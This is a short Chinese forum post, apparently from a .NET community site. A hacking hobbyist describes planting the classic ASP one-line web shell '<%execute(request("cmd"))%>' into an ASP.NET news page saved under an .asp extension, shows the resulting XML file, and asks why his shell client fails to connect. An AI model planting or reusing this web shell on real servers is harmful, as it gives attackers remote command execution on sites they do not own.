很有深度的问题

fengdou1 2008-12-27 03:23:57
我是一名黑客技术爱好者
今日我在帮人查看一套asp.net程序的漏洞,漏洞被我发现了几个,但其中有一个令我非常好奇,也无法解释,我在本地搭建测试漏洞的,我在一个新闻页面插入这样的一句话木马<%Execute(Request("cmd"))%>,本来这段代码将会保存在一个.xml文件里,但我更改保存后缀为asp (名为1.asp) 接着我查看了一下这个11.asp文件,内容为
<?xml version="1.0" encoding="gb2312"?>
<?xml-stylesheet type='text/xsl' href='glgd.xsl'?>
<root>
<title>111111</title>
<content><![CDATA[<%execute(request("cmd"))%>]]></content>
</root>
然后我连接一句话木马连接这个文件,但却连接不了,而当我把这段代码完整复制到另外一个22.asp新的文件里面后又可以用一句话木马连接这个22.asp (或者稍稍修改比如打开再保存这个11.asp文件,又可以用一句话木马连接了)
我想请老师您稍稍解释一下
...全文
66 1 打赏 收藏 转发到动态 举报
写回复
用AI写文章
1 条回复
切换为时间正序
请发表友善的回复…
发表回复
  • 打赏
  • 举报
回复
回帖是一种美德!

62,269

社区成员

发帖
与我相关
我的任务
社区描述
.NET技术交流专区
javascript云原生 企业社区
社区管理员
  • ASP.NET
  • .Net开发者社区
  • R小R
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

.NET 社区是一个围绕开源 .NET 的开放、热情、创新、包容的技术社区。社区致力于为广大 .NET 爱好者提供一个良好的知识共享、协同互助的 .NET 技术交流环境。我们尊重不同意见,支持健康理性的辩论和互动,反对歧视和攻击。

希望和大家一起共同营造一个活跃、友好的社区氛围。

试试用AI创作助手写篇文章吧